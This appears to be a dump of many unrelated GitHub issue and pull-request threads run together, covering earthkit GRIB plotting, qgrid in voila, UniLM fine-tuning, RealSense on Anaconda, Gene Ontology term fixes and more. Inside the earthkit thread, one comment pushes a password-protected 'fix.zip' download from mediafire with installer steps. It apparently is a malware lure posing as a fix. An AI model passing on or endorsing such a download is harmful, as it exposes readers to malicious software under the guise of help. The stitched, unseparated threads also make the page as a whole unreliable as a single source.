Plotting error

With the dataset from
https://apps.ecmwf.int/ifs-experiments/rd/guxf/, also available here, results in the following error when trying to plot it, i.e.
da_dict = {}
for i, d in enumerate(da):
    da_dict[da[i].name] = d
plot_data(da_dict)

---------------------------------------------------------------------------
NotImplementedError                       Traceback (most recent call last)
Cell In[13], line 4
      2 for i, d in enumerate(da):
      3     da_dict[da[i].name] = d
----> 4 plot_data(da_dict)

Cell In[12], line 16, in plot_data(data)
     11 else:
     12     style = earthkit.maps.Style(
     13         levels=earthkit.maps.styles.levels.auto_range(data, n_levels=256),
     14     )
---> 16 earthkit.maps.quickplot(data, style=style)

File /lib/python3.11/site-packages/earthkit/maps/quickplot.py:55, in quickplot(blueprint, units, style, disjoint, show, *data, **kwargs)
     53         chart[i].plot(item, style=style, units=unit)
     54     else:
---> 55         chart.plot(item, style=style, units=unit)
     57 for method, method_kwargs in blueprint.items():
     58     getattr(chart, method)(**method_kwargs)

File /lib/python3.11/site-packages/earthkit/maps/charts/__init__.py:327, in Chart.plot(self, data, *args, **kwargs)
    323     raise NotImplementedError(
    324         "Plotting pandas DataFrames and Series is an upcoming feature"
    325     )
    326 else:
--> 327     return self._plot_gridded_scalar(data, *args, **kwargs)

File /lib/python3.11/site-packages/earthkit/maps/charts/__init__.py:290, in Chart._expand_rows_cols.<locals>.wrapper(self, data, *args, **kwargs)
    288     else:
    289         subplot = self.subplots[i]
--> 290     layer = getattr(subplot, method.__name__)(field, *args, **kwargs)
    291     layers.append(layer)
    293 return LayerGroup(layers)

File /lib/python3.11/site-packages/earthkit/maps/charts/subplots.py:134, in Subplot.plot_gridded_scalar.<locals>.wrapper(self, data, transform_first, style, *args, **kwargs)
    131 def wrapper(self, data, *args, transform_first=None, style=None, **kwargs):
    132     data = inputs.sanitise(data)
--> 134     input_data = inputs.Input(
    135         data, *args, domain=self.domain, style=style, **kwargs
    136     )
    138     kwargs.pop("x", None)
    139     kwargs.pop("y", None)

File /lib/python3.11/site-packages/earthkit/maps/inputs.py:49, in Input.__init__(self, data, x, y, transform, style, domain, **kwargs)
     47 self.y = y
     48 self._values = None
---> 49 self.extract(domain)

File /lib/python3.11/site-packages/earthkit/maps/inputs.py:125, in Input.extract(self, domain)
    122 def extract(self, domain=None):
    123     if self.x is None and self.y is None:
--> 125         if self.gridspec is not None:
    126             if _NO_EARTHKIT_REGRID:
    127                 raise ImportError(
    128                     f"earthkit-regrid is required for plotting data on a"
    129                     f"'{self.gridspec['grid']}' grid"
    130                 )

File /lib/python3.11/site-packages/earthkit/maps/inputs.py:108, in Input.gridspec(self)
    106 @property
    107 def gridspec(self):
--> 108     if self.data.metadata("gridType", default="") == "reduced_gg":
    109         n = self.data.metadata("N", default=None)
    110         if n is not None:

File /lib/python3.11/site-packages/earthkit/data/core/__init__.py:64, in Base.metadata(self, *args, **kwargs)
     61 @abstractmethod
     62 def metadata(self, *args, **kwargs):
     63     """Returns metadata."""
---> 64     self._not_implemented()

File /lib/python3.11/site-packages/earthkit/data/core/__init__.py:154, in Base._not_implemented(self)
    152 if hasattr(self, "path"):
    153     extra = f" on {self.path}"
--> 154 raise NotImplementedError(f"{module}.{name}.{func}(){extra}")

NotImplementedError: earthkit.data.wrappers.xarray.XArrayDatasetWrapper.metadata()

It seems like plotting of this specific representation is not supported by earthkit.
Running the compressors on it seems to work fine.
This issue is just to keep records and to keep in mind we need to modify the plotting function in case we want to support this dataset in the notebooks.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Does the issue persist if you install the latest version of earth kit locally in a fresh venv? If so, could you open a link an issue in the earthkit repo?

Perhaps eccodes would need to be compiled with ENABLE_AEC=ON?
https://github.com/climet-eu/lab/blob/700927b31f01ce2249de5e3421a976188f02b8b6/patches/pyodide.patch#L2644
This would require compiling libaec for the online lab. It's conda forge feedstock is here:
https://github.com/conda-forge/libaec-feedstock/blob/main/recipe/build.sh

I've investigated this some more.

earthkit-data doesn't recognize the GRIB file as a GRIB file because its magic header is missing / comes too late / I don't know. cfgrib can successfully open the dataset though. This is related to https://github.com/ecmwf/earthkit-data/issues/123. Ultimately, earthkit-data needs some way to force that a file should use a GRIB reader. My bad workaround for this is as follows:

earthkit.data.readers.grib._match_magic = lambda a, b: True

data = earthkit.data.from_source("file", "guxf.grib")
data

earthkit-regrid uses a threaded cache, which we cannot support in the online lab. Ideally, we'd find a way to fully turn off caching, but the following seems to work as well

earthkit.regrid.utils.caching.SETTINGS["cache-policy"] = "off"

Finally earthkit.interpolate fails with No matrix found! in_grid={'grid': 'O200'} out_grid={'grid': [1, 1]} method='linear'

@SF-N Does the workaround now work for you?

No unfortunately not:
With your above workaround, i.e.
earthkit.data.readers.grib._match_magic = lambda a, b: True

data = earthkit.data.from_source("file", "output.grib")
earthkit.regrid.utils.caching.SETTINGS["cache-policy"] = "off"
data.ls()
earthkit.maps.quickplot(data.sel(shortName="2t"))

I get the following error:
ImportError                               Traceback (most recent call last)
Cell In[43], line 7
      5 earthkit.regrid.utils.caching.SETTINGS["cache-policy"] = "off"
      6 data.ls()
----> 7 earthkit.maps.quickplot(data.sel(shortName="2t"))

...

ImportError: cf-units is required for checking unit equivalence

and when importing cf_units, I get:
---------------------------------------------------------------------------
ImportError                               Traceback (most recent call last)
Cell In[42], line 1
----> 1 import cf_units
      2 earthkit.data.readers.grib._match_magic = lambda a, b: True
      4 data = earthkit.data.from_source("file", "output.grib")

File [~/Documents/ECMWF/Code/data_compression/venv/lib/python3.10/site-packages/cf_units/__init__.py:23](http://localhost:8888/lab/workspaces/auto-n/tree/compression-lab-notebooks/~/Documents/ECMWF/Code/data_compression/venv/lib/python3.10/site-packages/cf_units/__init__.py#line=22)
     20 import cftime
     21 import numpy as np
---> 23 from cf_units import _udunits2 as _ud
     24 from cf_units._udunits2 import (
     25     UT_ASCII,
     26     UT_DEFINITION,
   (...)
     30     UT_UTF8,
     31 )
     33 from . import config

ImportError: dlopen([/Users/ecm5945/Documents/ECMWF/Code/data_compression/venv/lib/python3.10/site-packages/cf_units/_udunits2.cpython-310-darwin.so](http://localhost:8888/lab/workspaces/auto-n/tree/compression-lab-notebooks/venv/lib/python3.10/site-packages/cf_units/_udunits2.cpython-310-darwin.so), 0x0002): symbol not found in flat namespace '_ut_ignore'

The same problem was also described in issue#45 but since I am not using a conda environment, I haven't tried the last sugesstion.

I now managed to plot the guxf dataset with the following notebook in the online lab:
https://gist.github.com/juntyr/9ed4cfdf13e4fec84d55135731792e1c
You might need to update your earthkit dependency to the latest version for this to work


qgrid does not display correctly in voila served notebooks

I'd like to use qgrid to work with dataframes in voila served notebooks.
I have a simple single cell notebook
import qgrid
import numpy as np
import pandas as pd

df = pd.DataFrame(np.random.rand(3,5))
qg = qgrid.show_grid(df)
qg

and this works fine in the Jupyter rendered notebook:

When I serve it with voila via
$ voila qgrid.ipynb
[Voila] Using /var/folders/7g/fx75l9zs4hxgqz0lm7mnblb40000gn/T to store connection files
[Voila] Storing connection files in /var/folders/7g/fx75l9zs4hxgqz0lm7mnblb40000gn/T/voila_6zhoflk_.
[Voila] Serving static files from /anaconda3/lib/python3.6/site-packages/voila/static.
[Voila] Voila is running at:
http://localhost:8866/
[Voila] Kernel started: 7400d98f-6052-4a4e-90a8-b3008938ccee
[Voila] Executing notebook with kernel:
[Voila] Adapting to protocol v5.1 for kernel 7400d98f-6052-4a4e-90a8-b3008938ccee
WARNING:tornado.access:404 GET /voila/qgrid.js (::1) 1.05ms

The qgrid widget does display, but it doesn't respect the size of the window like it does when it is displayed in the Notebook:

rather the dataframe is stretched super wide and the user has to scroll over.
I can work around this with qg = qgrid.show_grid(df, grid_options={'forceFitColumns': False, 'defaultColumnWidth': 100}):

but that's not ideal as the widget still extends and it doesn't look nice.
Thanks for taking a look and for a great package.

Interim fix: Wrapping it in a ipywidgets.HBox or similar forces it to be contained.
HBox([qg], layout={'width': '250px'})

HBox([qg], layout={'width': '250px'})  does not work. it hangs and does not move from "loading widget..."


python310Packages.soxr: 0.3.3 -> 0.3.4

https://github.com/dofuuz/python-soxr/compare/refs/tags/v0.3.3...v0.3.4
Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 221826 run on aarch64-linux 1

1 package failed to build:

tts

8 packages built:

larynx-train (python310Packages.larynx-train)
pianotrans
pitivi
python310Packages.librosa
python310Packages.piano-transcription-inference
python310Packages.soxr
python310Packages.torchlibrosa
python311Packages.soxr


WIP: Fixing race condition in reads.

This should fix #2020

Can you clarify how this fixes it? I thought that the issue is that request() gets called when a retry request is being setup?


Add climate profiles to Homematic IP Cloud

Description:
Add climate service to Homematic IP Cloud to select the active profile.
It also adds HomematicIP Profiles as presets.
To be able to use the profiles, the user has to make them visible and give them a name in the Homematic IP App.
Pull request with documentation for home-assistant.io: home-assistant/home-assistant.io#Add climate service to Homematic IP Cloud
Checklist:

[x] The code change is tested and works locally.
[x] Local tests pass with tox. Your PR cannot be merged unless tests pass
[x] There is no commented out code in this PR.
[x] I have followed the development checklist

If user exposed functionality or configuration variables are added/changed:

[x] Documentation added/updated in home-assistant.io

If the code does not interact with devices:

[x] Tests have been added to verify that the new code works.

Why not expose that as preset?

Good idea. I could add that too.
The main purpose is too switch all climate devices to a certain profile.
I check how to add the profiles to the presets too.

Hi @MartinHjelmare,
please have a look at this PR.
Thanks in advance.


phosphate ion transmembrane transporter activity (GO:0015114) discrepancies

There are several discrepancies with this (grouping) term:
name: phosphate ion transmembrane transporter activity
namespace: molecular_function
alt_id: GO:1901677
def: "Enables the transfer of phosphate (PO4 3-) ions from one side of a membrane to the other." [GOC:ai]
synonym: "phosphate transmembrane transporter activity" RELATED [GOC:vw]
xref: RHEA:32823
intersection_of: GO:0022857 ! transmembrane transporter activity
intersection_of: has_primary_input CHEBI:35780 ! phosphate ion
relationship: part_of GO:0035435 {http://purl.org/dc/terms/source="GO_REF:0000090"} ! phosphate ion transmembrane transport
created_by: pr
creation_date: 2012-11-22T15:43:10Z

Definition specifies PO4(3-) ions (which is CHEBI:18367)
The RHEA xref is for "phosphate(in) = phosphate(out)" where phosphate = CHEBI:43474 = HPO4(2-) ion.
The CHEBI:35780 ID in the "intersection_of: has_primary_input " line looks like it's for a generic 'phosphate ion', I think (i.e. no charge specified).

Anyone know which CHEBI ID is correct here?
I'm thinking that the generic one (CHEBI:35780) specified in the "has_primary_input" line is correct, given this is a grouping term?
If that's true, then the definition needs tweaking and the RHEA xref needs removing (or made a narrowMatch).
@deustp01 ?

The ph7.3 ChEBI should be used, ie the one used by RHEA.

Updated CHEBI for phosphate in all terms.
@sjm41 anything else that needs fixing here?
Thanks, Pascale

Thanks @pgaudet
Just need to update the text def of GO:0015114 to match, so change "phosphate (PO4 3-) ions" to "phosphate (HPO4 2-) ions"?

Just need to update the text def of GO:0015114 to match, so change "phosphate (PO4 3-) ions" to "phosphate (HPO4 2-) ions"?

Agreed. Here are some quotes from Hunter T. Why nature chose phosphate to modify proteins. Philos Trans R Soc Lond B Biol Sci. 2012 Sep 19;367(1602):2513-6. PMID: 22889903; PMCID: PMC3415839.

Phosphate has three pKas (2.2, 7.2 (5.8 as an ester) and 12.4) and is highly soluble in water, forming a large hydrated ionic shell. ... Because of its three pKas, phosphate is dianionic at pH 7, the physiological intracellular pH.

Hi @pgaudet

Updated CHEBI for phosphate in all terms.

I was just looking at this term:
id: GO:0005436
name: sodium:phosphate symporter activity
namespace: molecular_function
alt_id: GO:0015321
def: "Enables the transfer of a solute or solutes from one side of a membrane to the other according to the reaction: Na+(out) + phosphate(out) = Na+(in) + phosphate(in)."


fix: contact_info style override issue

:hammer_and_wrench: Type Of Change

[x] Fix
[ ] Feature
[ ] Refactoring
[ ] Documentation

:book: Description
Per comment: https://github.com/dialpad/dialtone-vue/pull/1077#discussion_r1267416074
With scoped tag, the min-width override does not work. It looks like after scoped tag is added, <style> can only override contact_info (and if vue find this is not contact_info component element, it will just ignore this override).
:bulb: Context
This pull request removes scoped tag to enable the style override for contact_info component.
:pencil: Checklist

[x] I have reviewed my changes
[ ] I have added tests
[ ] I have added all relevant documentation
[x] I have validated components with a screen reader
[x] I have validated components keyboard navigation
[x] I have considered the performance impact of my change
[x] I have checked that my change did not significantly increase bundle size
[ ] I am exporting any new components or constants in the index.js in the component directory
[ ] I am exporting any new components or constants in the index.js in the root

:crystal_ball: Next Steps
Make a new release for Dialtone-Vue
:link: Sources
Original pull request: https://github.com/dialpad/dialtone-vue/pull/1077#discussion_r1267416074
Vue3 pull request: https://github.com/dialpad/dialtone-vue/pull/1079

Using :deep() pseudo-class fixes the issue.
.dt-contact-info :deep(.dt-item-layout--content) {
.dt-contact-info :deep(.dt-item-layout--left) {
.dt-contact-info :deep(.dt-item-layout--right) {
But my interesting concern is why we should access with :deep with scoped attribute on style tag

Using :deep() pseudo-class fixes the issue.
.dt-contact-info :deep(.dt-item-layout--content) { .dt-contact-info :deep(.dt-item-layout--left) { .dt-contact-info :deep(.dt-item-layout--right) {
But my interesting concern is why we should access with :deep with scoped attribute on style tag

If you structure like this:
<div class="dt-contact-info">
    <dt-list-item

The styles will work as expected with scoped and without any :deep... so its probably because some off-sync load component

Using :deep() pseudo-class fixes the issue.
.dt-contact-info :deep(.dt-item-layout--content) { .dt-contact-info :deep(.dt-item-layout--left) { .dt-contact-info :deep(.dt-item-layout--right) {
But my interesting concern is why we should access with :deep with scoped attribute on style tag

Huh... I didn't see the entire file... so.. yes you MUST use :dee() to access to
.dt-item-layout--content
.dt-item-layout--left
.dt-item-layout--right

Because these classes are on item_layout.vue component, that is a different component.
When you add scoped you are generating a unque id to this component to add the style.
This id is just for contact_info.vue component, not for item_layout.vue component so it won't work in this last one.
Without scoped will work because its a global style, and it will access to child component due CSS specificity.
So.. yes, you need to write the styles using :deep() as I put before.


Validation Errors For Policy Marker Significance & Code are Missing

The file produced by Aidstream for DECC - https://aidstream.org/files/xml/deccadmin-activities.xml - is currently reporting the following validation error
Element 'policy-marker': The attribute 'significance' is required but missing.
for

(NB other reported errors have already had other issues raised for them)
Please can you therefore investigate and amend Aidstream if required

Also Policy Marker validation error for Sympany+
http://www.aidstream.org/files/xml/simone_sympany-activities.xml
http://www.aidstream.org/files/xml/simone_sympany-activities.xml
Element 'policy-marker': The attribute 'code' is required but missing.

Same as https://github.com/younginnovations/aidstream/issues/135#issuecomment-167989277


[BEAM-3074] Stage the portable pipeline; put URL in pipeline options

Follow this checklist to help us incorporate your contribution quickly and easily:

[x] Make sure there is a JIRA issue filed for the change (usually before you start working on it).  Trivial changes like typos do not require a JIRA issue.  Your pull request should address just this issue, without pulling in other changes.
[x] Each commit in the pull request should have a meaningful subject line and body.
[x] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue.
[x] Write a pull request description that is detailed enough to understand what the pull request does, how, and why.
[x] Run mvn clean verify to make sure basic checks pass. A more thorough check will be performed on your pull request automatically.
[x] If this contribution is large, please file an Apache Individual Contributor License Agreement.

R: @aaltay
Same as last time; new place to put the info. The way I inspect pipeline options in the tests seems unpleasant.

R: @robertwb wdyt?

It looks like the usual failure in universal_local_runner. I think it should probably be sickbayed given how many builds it hits.

run python precommit

PTAL - fixed up lint issues.


Error with 'react-native-blob-util'

when I try to bundle my project, I got some error.  is there any way to resolve the problem ?

Errors thrown in bundling process

react-native.config.js

const commands = createEsbuildCommands((config) => ({
    ...config,
}));

module.exports = {
    commands,
    dependencies: {
        'react-native-vector-icons': {
            platforms: {
                ios: null,
            },
        },
    },
};

Thanks

See README https://github.com/oblador/react-native-esbuild?tab=readme-ov-file#flow-syntax-errors-such-as-expected-from-but-found-


Better dependency reporting for pip and setuptools

We depend on relatively modern features inside the pip and setuptools libraries.  Ironically, pip and setuptools don't provide great tools for catching this and reporting this.

Require pip version of at least 6.0
Require setuptools version of at least 20.5.0
Also make the dev dependencies floating (>= rather than pinned to a specific version ==)

Definitely open to comments on this.  Is this a harsh requirement on folks?  VFX Platform doesn't specify a pip or setuptools version, but it probably should.

Do we have a minimum cmake version?  Could it be bumped up somewhat (into the 3’s?)

Codecov Report

Merging #397 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #397   +/-   ##
=======================================
  Coverage   87.05%   87.05%
=======================================
  Files          63       63
  Lines        5569     5569
=======================================
  Hits         4848     4848
  Misses        721      721

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cc762bc...3c3a956. Read the comment docs.

Codecov Report

Merging #397 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #397   +/-   ##
=======================================
  Coverage   87.05%   87.05%
=======================================
  Files          63       63
  Lines        5569     5569
=======================================
  Hits         4848     4848
  Misses        721      721

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cc762bc...3c3a956. Read the comment docs.


body-parser is slow

Hi @carlok, first of all, thanks for referencing restana in this performance compilation.
I noticed that you are using the body-parser middleware in:
https://github.com/carlok/rest-coin-benchmark/blob/2836cf8a9edb1ce9b891212adc9baf6bfce57901/server/node/restana/indexrestana.js#L2
This middleware is not optimised for performance, affecting express and restana results. Can I kindly suggest you to also include tests where GET endpoints are also tested? So we can exclude the impact of body parsing?
Many thanks!

Hi @jkyberneees, restana and express have been added thanks to a PR by @alessandro-battezzati so I could ask him to have a look at them both. As you might have noticed, each framework uses POST and a JSON payload because, although quite simple, the benchmark is designed for the classic "writing/creating" scenario, therefore, it uses POST. Anyhow, thanks for your message and we'll try to let you know ASAP.

Hi, we added a note on the README because it's the best tradeoff we can do at the moment (this project is not very active).

Many thanks @carlok, appreciated.


config reading error when using s2s-ft example

Hi there,
I am trying to follow the sts-ft example with xsum, but I got this bug related to reading config file. Is that related to the cahce_dir?
Traceback (most recent call last):
  File "run_seq2seq.py", line 416, in <module>
    main()
  File "run_seq2seq.py", line 399, in main
    model, tokenizer = get_model_and_tokenizer(args)
  File "run_seq2seq.py", line 372, in get_model_and_tokenizer
    cache_dir=args.cache_dir if args.cache_dir else None)
  File "/home/bill/sugar/supervised/transformers/src/transformers/configuration_utils.py", line 176, in from_pretrained
    config_dict, kwargs = cls.get_config_dict(pretrained_model_name_or_path, **kwargs)
  File "/home/bill/sugar/supervised/transformers/src/transformers/configuration_utils.py", line 226, in get_config_dict
    config_dict = cls._dict_from_json_file(resolved_config_file)
  File "/home/bill/sugar/supervised/transformers/src/transformers/configuration_utils.py", line 315, in _dict_from_json_file
    text = reader.read()
  File "/home/bill/anaconda3/lib/python3.7/codecs.py", line 322, in decode
    (result, consumed) = self._buffer_decode(data, self.errors, final)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte

I saw there is a --config_name arg, but the link of unilm 1.2 only provide the bin file but not additional config or vocab files like what minilm has.

By the way, since there is a bug when I followed the example in the readme by using --model_name_or_path unilm1.2-base-uncased so that I changed it to --model_name_or_path unilm1.2-base-uncased.bin. Is that a hint for debugging?

By the way, since there is a bug when I followed the example in the readme by using --model_name_or_path unilm1.2-base-uncased (see blelow) so that I changed it to --model_name_or_path unilm1.2-base-uncased.bin. Is that a hint for debugging?
OSError: Model name '../tmp/unilm1.2-base-uncased' was not found in model name list.

Can you share the running command/script ?

Hi, thanks for the prompt reply.
Here are what I run:
mkdir tmp
cd tmp
wget https://unilm.blob.core.windows.net/ckpt/unilm1.2-base-uncased.bin
cd ../
git clone https://github.com/microsoft/unilm.git
rm -rf .git/
cd unilm/s2s-ft
pip install --editable .
pip install --user methodtools py-rouge pyrouge nltk
python -c "import nltk; nltk.download('punkt')"
# git clone https://github.com/NVIDIA/apex.git && cd apex && python setup.py install --cuda_ext --cpp_ext

# Training

TRAIN_FILE=../../xsum.validation.json
OUTPUT_DIR=../../tmp/save_checkpoints
CACHE_DIR=../../tmp/cache_dir
MODEL_PATH=../../tmp/unilm1.2-base-uncased.bin

export CUDA_VISIBLE_DEVICES=0,1,2,3
python -m torch.distributed.launch --nproc_per_node=4 run_seq2seq.py \
  --train_file ${TRAIN_FILE} --output_dir ${OUTPUT_DIR} \
  --model_type unilm --model_name_or_path ${MODEL_PATH} --do_lower_case \
  --max_source_seq_length 464 --max_target_seq_length 48 \
  --fp16 --fp16_opt_level O2 \
  --per_gpu_train_batch_size 16 --gradient_accumulation_steps 1 \
  --learning_rate 5e-5 --num_warmup_steps 500 --num_training_steps 32000 --cache_dir ${CACHE_DIR}

On ubuntu and python 3.7 with latest transformors version and pytorch

By the way, since there is a bug when I followed the example in the readme by using --model_name_or_path unilm1.2-base-uncased (see blelow) so that I changed it to --model_name_or_path unilm1.2-base-uncased.bin. Is that a hint for debugging?
OSError: Model name '../tmp/unilm1.2-base-uncased' was not found in model name list.

Hi, thanks for the prompt reply.
Here are what I run:
mkdir tmp
cd tmp
wget https://unilm.blob.core.windows.net/ckpt/unilm1.2-base-uncased.bin
cd ../
git clone https://github.com/microsoft/unilm.git
rm -rf .git/
cd unilm/s2s-ft
pip install --editable .
pip install --user methodtools py-rouge pyrouge nltk
python -c "import nltk; nltk.download('punkt')"
# git clone https://github.com/NVIDIA/apex.git && cd apex && python setup.py install --cuda_ext --cpp_ext

# Training

TRAIN_FILE=../../xsum.validation.json
OUTPUT_DIR=../../tmp/save_checkpoints
CACHE_DIR=../../tmp/cache_dir
MODEL_PATH=../../tmp/unilm1.2-base-uncased.bin

export CUDA_VISIBLE_DEVICES=0,1,2,3
python -m torch.distributed.launch --nproc_per_node=4 run_seq2seq.py \
  --train_file ${TRAIN_FILE} --output_dir ${OUTPUT_DIR} \
  --model_type unilm --model_name_or_path ${MODEL_PATH} --do_lower_case \
  --max_source_seq_length 464 --max_target_seq_length 48 \
  --fp16 --fp16_opt_level O2 \
  --per_gpu_train_batch_size 16 --gradient_accumulation_steps 1 \
  --learning_rate 5e-5 --num_warmup_steps 500 --num_training_steps 32000 --cache_dir ${CACHE_DIR}

On ubuntu and python 3.7 with latest transformors version and pytorch

remove "MODEL_PATH=../../tmp/unilm1.2-base-uncased.bin"
set "--model_name_or_path unilm1.2-base-uncased"

Got it. And it works now.
I misunderstood the arg name. I thought that I had to download from the provided link in the readme and then set this arg as my local path like what we did in the previous version of UniLM. Thanks!

By the way, what would be the proper use of the link to the .bin file?

By the way, what would be the proper use of the link to the .bin file?

There is an example:
# path of training data
export TRAIN_FILE=/path/to/your/training_data.json
# folder used to save fine-tuned checkpoints
export OUTPUT_DIR=/path/to/your/output_path
# folder used to cache package dependencies
export CACHE_DIR=/path/to/your/transformer_package_cache
export MODEL_PATH=/path/to/your/model_checkpoint
export CONFIG_PATH=/path/to/your/model_config_file
export VOCAB_FILE=/path/to/your/vocab_file

export CUDA_VISIBLE_DEVICES=0,1,2,3
python -m torch.distributed.launch --nproc_per_node=4 run_seq2seq.py \
  --train_file ${TRAIN_FILE} --output_dir ${OUTPUT_DIR} \
  --model_type unilm --model_name_or_path $MODEL_PATH \
  --config_name $CONFIG_PATH --tokenizer_name $VOCAB_FILE \
  --do_lower_case --fp16 --fp16_opt_level O2 \
  --max_source_seq_length 464 --max_target_seq_length 48 \
  --per_gpu_train_batch_size 16 --gradient_accumulation_steps 1 \
  --learning_rate 7e-5 --num_warmup_steps 1000 --num_training_steps 32000 \
  --cache_dir ${CACHE_DIR} --save_steps 3200

If load local checkpoint, you need to define the tokenizer and model config.

Got it. Thanks!

Hi @addf400 ,
It seems that when we save a model, the run_seq2seq.py only saves the model file (i.e pytorch_model.bin) and the config file config.json. However, the vocab file is not saved. Where could we find an alternative one? Thanks!

Hi @addf400 ,
It seems that when we save a model, the run_seq2seq.py only saves the model file (i.e pytorch_model.bin) and the config file config.json. However, the vocab file is not saved. Where could we find an alternative one? Thanks!

@yuchenlin For decoding, we use "--model_type unilm --tokenizer_name unilm1-base-cased" to setup the tokenizer. If you use local vocab file, just set the vocab file path to "--tokenizer_name".


WIP on LocalUser tests

@msneddon can you review please?

Mike's gone for the weekend so I'm merging.


Setting Student t likelihood degrees of freedom

If the degree of freedom is too low on the student-t likelihood things don't work. Maybe things aren't concave any more. Regardless, we need to detect when this happens and throw a warning that is interpretable, currently warnings are thrown the origin of which isn't that clear. Do we need to check the positive-definiteness of the Hessian?

Maybe a standard prior on the degrees of freedom would solve this? We could use a Gamma Prior, which does not allow small values, but is uninformative for the rest?

Ny news? Did you try the priors?

@alansaul did you have a look?

Hello?

Hi sorry Max. I think this might have been from before the parametrized
framework existed and has nothing to do with prior's unless I'm mistaken?
The student-t now has a degrees of freedom parameter, which can be set at
creation with GPy.likelihood.StudentT(deg_free=5.6), and can be optimized
as I implemented the gradients for it some time ago.
Kernels can of course also have parameters in the standard way nowadays. Am
I missing something? I feel like I must be!
Alan
On 13 October 2015 at 08:28, Max Zwiessele<EMAIL_ADDRESS>wrote:

Hello?
—
Reply to this email directly or view it on GitHub
https://github.com/SheffieldML/GPy/issues/95#issuecomment-147628726.

When I read Neils comment I thought he meant, that during optimization the dof can get low and then stuff doesnt work anymore? Dont know though, Ill just close : )


Fix use of "access_token"

Previously produced NameError: name 'token' is not defined. Now, fixed token=token to token=access_token.

Thanks for the PR. Just ran it and can confirm that it fixes it for me.


Brackets fix

Codecov Report
Patch coverage: 26.66% and project coverage change: -1.10 :warning:

Comparison is base (895abef) 47.34% compared to head (999b209) 46.25%.

:exclamation: Current head 999b209 differs from pull request most recent head 03ddef3. Consider uploading reports for the commit 03ddef3 to get more accurate results

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@             Coverage Diff              @@
##             master      #41      +/-   ##
============================================
- Coverage     47.34%   46.25%   -1.10%
- Complexity       62       64       +2
============================================
  Files            14       14
  Lines           226      240      +14
  Branches         14       17       +3
============================================
+ Hits            107      111       +4
- Misses          111      119       +8
- Partials          8       10       +2

Impacted Files
Coverage Δ

...c/main/java/ru/milan/interpreter/MilanVisitor.java
55.31% <26.66%> (-4.69%)
:arrow_down:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

@rultor merge

@rultor merge

@l3r8yj OK, I'll try to merge now. You can check the progress of the merge here

@rultor merge

@l3r8yj Done! FYI, the full log is here (took me 1min)


Fixed broken deserialization of JSON-serialized Person  objects

Wrote a small converter function accepts either a single-element JSON array or a String JSON node, and returns the desired string value, and wrapped it around the deserialization of "race". This will allow us to get rid of the "NoJson" read-only classes, and also prevent this bug from showing up in any more weird corners.

@nickrobison-usds you're gonna love this one 😁

https://github.com/CDCgov/prime-data-input-client/issues/222

Should probably add a regression test using stored JSON files.

And then I had to spoil it by adding a bunch of test code. Oh well. 😜


README and opam template improvements

Allow many related publications, doi can be for project, allow setting version in opam files.

@anton-trunov this fixes coq-community/manifesto#84


RealSense D435 SDK run under Python Anaconda environment

Required Info

Camera Model
D435

Firmware Version
<IP_ADDRESS>

Operating System & Version
Windows 10

Platform
PC

SDK Version
v2.10.4

Language
Python v2.7 & v3.6

Issue Description
Is it possible to use Intel RealSense SDK Python wrappers under Python Anaconda environment?
I already followed all instruction as stated on github here https://github.com/IntelRealSense/librealsense/tree/master/wrappers/python
But i'm facing problem when i tried to run sample python project ("opencv_viewer_example.py) under my virtual anaconda environment as stated below:-
Traceback (most recent call last):
File "opencv_viewer_example.py", line 8, in
import pyrealsense2 as rs
ImportError: Module use of python36.dll conflicts with this version of Python.
Do you have any idea about this problem?

Can you try compiling pyrealsense2 with anaconda as the target?
In the cmake, point pybind11 at anaconda's python executable instead of the one provided on python.org

This is how I've compiled
cmake ../ -DBUILD_EXAMPLES=bool:true -DBUILD_PYTHON_BINDINGS=bool:true -DBUILD_CV_EXAMPLES=bool:true -DPYTHON_EXECUTABLE=/home/mikeyr/anaconda3/envs/ENVIRONMENT_NAME_HERE/bin/python3.6
If that doesn't work you can compile like normal and make a symlink to the library.
Example:
ln -s /home/mikeyr/librealsense/build/wrappers/python/pyrealsense2.cpython-36m-x86_64-linux-gnu.so /home/mikeyr/anaconda3/envs/ENVIRONMENT_NAME_HERE/lib/python3.6/site-packages/pyrealsense2.so

@lramati can you elaborate more details about pointing pybind11 at anaconda python executabel in cmake?

@TheMikeyR how do i compile in Windows platform, as example you shown above i believe that using Linux platform right?

[Realsense Customer Engineering Team Comment]
@mohdazly
You can use CMake GUI to check the "BUILD_PYTHON_BINDINGS" and change the "PYTHON_EXECUTABLE" to your anaconda python.exe in your environment path. For example "C:/Users/abcd/AppData/Local/Continuum/anaconda3/envs//python.exe"
After compiling python folder finish(check the attached image), you should see output files under Debug/Release folder as attachment, few things to do as below :

